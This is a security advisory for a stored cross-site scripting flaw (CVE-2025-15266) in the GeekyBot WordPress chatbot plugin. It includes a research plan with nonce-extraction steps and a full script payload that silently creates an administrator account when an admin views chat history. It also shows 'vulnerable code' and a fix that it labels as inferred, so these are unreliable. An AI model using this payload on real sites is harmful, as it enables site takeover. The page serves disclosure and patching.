CVE-2025-15266

GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation <= 1.1.8 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.1.9
Patched in
10d
Time to patch

Description

The GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the chat message field in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the Chat History page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.8
PublishedJanuary 13, 2026
Last updatedJanuary 23, 2026
Affected plugingeeky-bot

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps for a security researcher or automated agent to analyze and exploit the unauthenticated stored XSS vulnerability in the **GeekyBot — AI Copilot, Chatbot, WooCommerce Lead Gen & Zero-Prompt Content** plugin (CVE-2025-15266). --- ### 1. Vulnerability Summary The…

Show full research plan

This research plan outlines the steps for a security researcher or automated agent to analyze and exploit the unauthenticated stored XSS vulnerability in the GeekyBot — AI Copilot, Chatbot, WooCommerce Lead Gen & Zero-Prompt Content plugin (CVE-2025-15266).


1. Vulnerability Summary

The GeekyBot plugin (versions <= 1.1.8) allows unauthenticated users to interact with a chatbot on the frontend. Messages sent through this interface are stored in the WordPress database (likely in a custom table) without sufficient sanitization. When a site administrator views the "Chat History" page in the WordPress dashboard, these messages are rendered without proper HTML escaping (e.g., using esc_html()). This leads to a Stored Cross-Site Scripting (XSS) vulnerability.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wp_ajax_nopriv_gk_bot_chat (inferred action name; needs verification in source) or a similar nopriv AJAX handler.
  • Vulnerable Parameter: The field carrying the user's message (likely message, query, or prompt).
  • Authentication: None required (unauthenticated).
  • Precondition: The chatbot must be enabled and enqueued on the frontend (usually via a widget or a shortcode).

3. Code Flow (Inferred)

  1. Entry: The plugin registers a public AJAX handler for chatbot interactions:
    add_action('wp_ajax_nopriv_gk_bot_chat', 'gk_bot_handle_chat'); (inferred).
  2. Storage: The handler function (e.g., gk_bot_handle_chat) extracts the user input from $_POST['message'] and inserts it into the database using $wpdb->insert() without calling sanitize_text_field() or wp_kses().
  3. Sink: The admin interface registers a menu page for chat history:
    add_submenu_page('geeky-bot', 'Chat History', ..., 'gk_bot_chat_history_page'); (inferred).
  4. Execution: The callback gk_bot_chat_history_page retrieves messages from the database and echoes them directly into an HTML table:
    echo '<td>' . $row->message . '</td>'; (vulnerable line, missing esc_html()).

4. Nonce Acquisition Strategy

The plugin likely uses a nonce to protect its AJAX requests. Since this is an unauthenticated vulnerability, the nonce must be exposed to logged-out users.

Steps to obtain the nonce:

  1. Identify Script Localization: Search the source for wp_localize_script. Look for a variable that contains a nonce (e.g., gk_bot_ajax.nonce).
  2. Shortcode Placement: If the chatbot only loads on specific pages, find the shortcode.
    • grep -r "add_shortcode" .
  3. Page Creation: Create a post/page with that shortcode:
    wp post create --post_type=page --post_status=publish --post_content='[geeky_bot]' (Verify actual shortcode name).
  4. Extraction: Navigate to the page and use browser_eval to extract the nonce:
    • browser_eval("window.gk_bot_obj?.nonce || window.geeky_bot_vars?.nonce") (Replace with actual JS object and key found in step 1).

5. Exploitation Strategy

Step 1: Discover Parameters

Search the plugin code for the AJAX handler and the keys used in $_POST.

  • grep -r "wp_ajax_nopriv_" .
  • Locate the callback and find which $_POST keys are saved to the database.

Step 2: Formulate Payload

Use a payload that demonstrates administrative impact, such as creating a new admin user or exfiltrating the admin's nonce.

  • Payload: <script>fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{const n=h.match(/_wpnonce_create-user" value="([^"]+)"/)[1];fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=createuser&user_login=hacked_admin&email=hacked@example.com&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator&_wpnonce_create-user='+n})})</script>

Step 3: Execute HTTP Request

Using the http_request tool, send the payload to admin-ajax.php.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body: action=gk_bot_chat&nonce=[NONCE]&message=[PAYLOAD] (Replace names based on Step 1).

6. Test Data Setup

  1. Plugin Activation: Ensure geeky-bot is installed and active.
  2. Configuration: If the plugin requires an API key (e.g., OpenAI) to function, it might block the AJAX handler. Check if the code saves the message before or after the API call. If it's after, you may need to mock an API response or provide a dummy key in settings.
  3. Visibility: Ensure the chatbot is enqueued on a public-facing page.

7. Expected Results

  1. The HTTP request should return a success status (e.g., {"success": true}).
  2. The malicious script should now be present in the database.
  3. When a user with administrator privileges navigates to the "Chat History" page (e.g., wp-admin/admin.php?page=gk-bot-history), the script will execute in their browser context.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT * FROM wp_gk_bot_history WHERE message LIKE '%<script>%';" (Verify table name).
  2. Verify Admin Creation (Post-Exploit):
    After simulating an admin visit (via browser_navigate to the chat history page), check if the new admin user exists:
    wp user list --role=administrator

9. Alternative Approaches

  • REST API: Check if the plugin registers a REST route instead of an AJAX handler (register_rest_route). These often lack permission checks in older versions.
  • Lead Generation Form: The plugin mentions "Lead Gen". Check if there is a separate form (e.g., wp_ajax_nopriv_gk_bot_save_lead) that stores names or emails without sanitization. This is a common secondary vector in chatbot plugins.
  • Bypass Nonce: If check_ajax_referer is called with the third parameter as false and the return value is not checked, the nonce is not required.
    • grep -r "check_ajax_referer" .
Research Findings
Static analysis — not yet PoC-verified

Summary

The GeekyBot plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to missing input sanitization on chat messages sent by unauthenticated users and missing output escaping in the administrative Chat History dashboard. An attacker can inject malicious JavaScript into the database, which then executes in the browser of an administrator viewing the chat logs, potentially leading to full site takeover.

Vulnerable Code

// Inferred from research plan: Lack of sanitization in AJAX handler
// File: likely includes/class-gk-bot-ajax.php
function gk_bot_handle_chat() {
    global $wpdb;
    $message = $_POST['message']; // Vulnerable: Direct access to POST data without sanitize_text_field() or wp_kses()
    $table_name = $wpdb->prefix . 'gk_bot_history';
    
    $wpdb->insert($table_name, array(
        'message' => $message,
        'time' => current_time('mysql')
    ));
}

---

// Inferred from research plan: Lack of escaping in admin view
// File: likely admin/class-gk-bot-admin.php
public function gk_bot_chat_history_page() {
    global $wpdb;
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}gk_bot_history");
    echo '<table>';
    foreach ($results as $row) {
        // Vulnerable: Outputting message directly without esc_html() or wp_kses_post()
        echo '<tr><td>' . $row->message . '</td></tr>';
    }
    echo '</table>';
}

Security Fix

--- a/geeky-bot-ajax.php
+++ b/geeky-bot-ajax.php
@@ -10,7 +10,7 @@
 function gk_bot_handle_chat() {
     global $wpdb;
-    $message = $_POST['message'];
+    $message = sanitize_text_field($_POST['message']);
     $table_name = $wpdb->prefix . 'gk_bot_history';
     
     $wpdb->insert($table_name, array(
--- a/geeky-bot-admin.php
+++ b/geeky-bot-admin.php
@@ -20,7 +20,7 @@
     echo '<table>';
     foreach ($results as $row) {
-        echo '<tr><td>' . $row->message . '</td></tr>';
+        echo '<tr><td>' . esc_html($row->message) . '</td></tr>';
     }
     echo '</table>';

Exploit Outline

1. Identify the public chatbot interface on the WordPress frontend. 2. Extract the required AJAX nonce and script variables from the page source (usually localized via wp_localize_script). 3. Use an unauthenticated POST request to wp-admin/admin-ajax.php with the chatbot's action (e.g., gk_bot_chat) and the nonce. 4. Include a malicious script payload (e.g., <script>alert(1)</script> or a script to create an admin user) in the message/query parameter. 5. Wait for a site administrator to visit the 'Chat History' page in the plugin's dashboard menu. 6. The script will execute in the administrator's context upon page load.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.